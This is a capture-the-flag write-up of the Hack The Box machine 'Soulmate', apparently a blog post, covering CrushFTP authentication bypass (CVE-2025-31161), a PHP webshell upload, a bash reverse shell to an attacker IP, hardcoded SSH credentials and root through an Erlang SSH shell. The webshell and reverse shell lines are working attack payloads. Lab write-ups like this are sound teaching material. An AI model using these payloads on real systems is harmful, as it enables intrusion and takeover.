Skip to main content
HTB: Soulmate
  1. Posts/

HTB: Soulmate

Table of Contents

Introduction
#

Soulmate starts with a dating-type website. Initial enumeration leads to the discovery of an ftp subdomain running CrushFTP. This instance is vulnerable to an authentication bypass, allowing me to create a new admin account and explore the system. Through the file management interface, I find that user ben has a shared folder containing the main website’s codebase. I can upload a PHP webshell there to gain remote code execution and establish a reverse shell. While exploring the filesystem, I discover hardcoded credentials for ben, which grants SSH access to the box. For privilege escalation to root, enumeration of local services reveals an SSH instance that provides an Erlang shell with access to the os module, allowing me to directly read the final flag.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.78.17
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add soulmate.htb to /etc/hosts

Web - TCP 80
#

It looks like a dating website

Web

I can create an account:

Web2

And log in:

Web3

But not much else.

Subdomain enum
#

As I have the domain name, I will try to find any available subdomains of soulmate.htb:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://soulmate.htb/ -H 'Host: FUZZ.soulmate.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 78ms]
FTP                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 84ms]
Ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 83ms]
:: Progress: [220561/220561] :: Job [1/1] :: 716 req/sec :: Duration: [0:04:50] :: Errors: 0 ::

There is one hit - ftp.soulmate.htb - add it to /etc/hosts and check it.

Directory bruteforce
#

Directory bruteforce returns nothing useful.

└─$ feroxbuster -u http://soulmate.htb --dont-extract-links
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://soulmate.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
200      GET      306l     1061w    16688c http://soulmate.htb/
301      GET        7l       12w      178c http://soulmate.htb/assets => http://soulmate.htb/assets/
301      GET        7l       12w      178c http://soulmate.htb/assets/images => http://soulmate.htb/assets/images/
301      GET        7l       12w      178c http://soulmate.htb/assets/css => http://soulmate.htb/assets/css/
301      GET        7l       12w      178c http://soulmate.htb/assets/images/profiles => http://soulmate.htb/assets/images/profiles/
[####################] - 2m    150000/150000  0s      found:5       errors:1381   
[####################] - 2m     30000/30000   226/s   http://soulmate.htb/ 
[####################] - 2m     30000/30000   223/s   http://soulmate.htb/assets/ 
[####################] - 2m     30000/30000   225/s   http://soulmate.htb/assets/images/ 
[####################] - 2m     30000/30000   224/s   http://soulmate.htb/assets/css/ 
[####################] - 2m     30000/30000   225/s   http://soulmate.htb/assets/images/profiles/  

FTP.soulmate.htb
#

The fpt subdomain is running an instance of CrushFTP:

ftp

Without credentials I need to look for some vulnerability, Googling for CrushFTP CVE points me to CVE-2025-31161

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka “Unauthenticated HTTP(S) port access.” A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.

CVE-2025-31161
#

Using THIS Poc

I created new account:

└─$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user tester --password tester
[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: tester
   [*] Password: tester.

The new user should be created, I can attemp to log in:

ftp2

Shell as www-data
#

In user manager I played around with the file window a little, but the next step was right above it, it seems like I can change password of existing users:

ftp3

I did that for all accounts that seemed important:

ftp4
  • Username : jenna Password : m4yqG2
  • Username : crushadmin Password : nXxKWc
  • Username : ben Password : x3eEnh

And attempted to log in, starting with ben:

ftp5

It worked and I can look at and download his files.

There are some scripts in IT folder that lead nowhere, but then there is folder webProd that look interesting.

Inside there are *.php files with names resembling pages on the original website:

ftp6

If it truly is production folder I should be able to upload my own php webshell and get code execution.

First, I need to enable upload:

ftp7

And now I can add simple webshell:

<?=`$_GET[cmd]`?>
webshell

And test it:

webshell2

Note: The php_shell.php file gets removed after few minutes, just reupload it and continue.

It works! Now I can get a reverse shell:

Start a listener:

└─$ nc -lvnp 4444

paste URL encoded reverse shell to the web shell:

bash -c "bash -i >& /dev/tcp/10.10.15.12/4444 0>&1"
http://soulmate.htb/php_shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.162%2F4444%200%3E%261%22
revshell

and catch it on the awaiting listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.162] from (UNKNOWN) [10.129.231.23] 39508
bash: cannot set terminal process group (1150): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$ 

Now I can look around.

Shell as ben
#

After a while I stumbled upon this:

www-data@soulmate:/usr/local/lib/erlang_login$ ls
ls
login.escript
start.escript

www-data@soulmate:/usr/local/lib/erlang_login$ cat start.escript
cat start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

It looks like I found hardcoded credentials: ben:HouseH0ldings998

It worked on SSH and I am in:

└─$ ssh ben@10.129.231.23
ben@10.129.231.23's password: 
Last login: Tue Feb 10 12:08:21 2026 from 10.10.14.162
ben@soulmate:~$ ls
user.txt
ben@soulmate:~$ cat user.txt
5fb00de5bdd8e3655c8498e1aba742b5

Root
#

This time there is no obvious path via sudo -l:

ben@soulmate:~$ sudo -l
[sudo] password for ben: 
Sorry, user ben may not run sudo on soulmate.

Looking at open ports, there is 2222:

ben@soulmate:~$ ss -tuln
Netid       State        Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process       
udp         UNCONN       0             0                    127.0.0.53%lo:53                       0.0.0.0:*                        
udp         UNCONN       0             0                          0.0.0.0:68                       0.0.0.0:*                        
tcp         LISTEN       0             4096                     127.0.0.1:8080                     0.0.0.0:*                        
tcp         LISTEN       0             4096                     127.0.0.1:4369                     0.0.0.0:*                        
tcp         LISTEN       0             4096                     127.0.0.1:8443                     0.0.0.0:*                        
tcp         LISTEN       0             5                        127.0.0.1:2222                     0.0.0.0:*                        
tcp         LISTEN       0             128                      127.0.0.1:36879                    0.0.0.0:*                        
tcp         LISTEN       0             4096                     127.0.0.1:9090                     0.0.0.0:*                        
tcp         LISTEN       0             128                        0.0.0.0:22                       0.0.0.0:*                        
tcp         LISTEN       0             511                        0.0.0.0:80                       0.0.0.0:*                        
tcp         LISTEN       0             4096                     127.0.0.1:35521                    0.0.0.0:*                        
tcp         LISTEN       0             4096                 127.0.0.53%lo:53                       0.0.0.0:*                        
tcp         LISTEN       0             4096                         [::1]:4369                        [::]:*                        
tcp         LISTEN       0             128                           [::]:22                          [::]:*                        
tcp         LISTEN       0             511                           [::]:80                          [::]:*                        

2222 screams SSH, and it is:

ben@soulmate:~$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

I can connect and get an Erlang shell.

I should be able to run OS commands using os:cmd/1:

(ssh_runner@soulmate)2> os:cmd("id").
(ssh_runner@soulmate)2> os:cmd("id").

"uid=0(root) gid=0(root) groups=0(root)\n"

And I am root straight away.

So just grab the flag:

(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").

"9b4f6bd6450e8b06c07b1970bdab9a15\n"

And that is all!

Author
~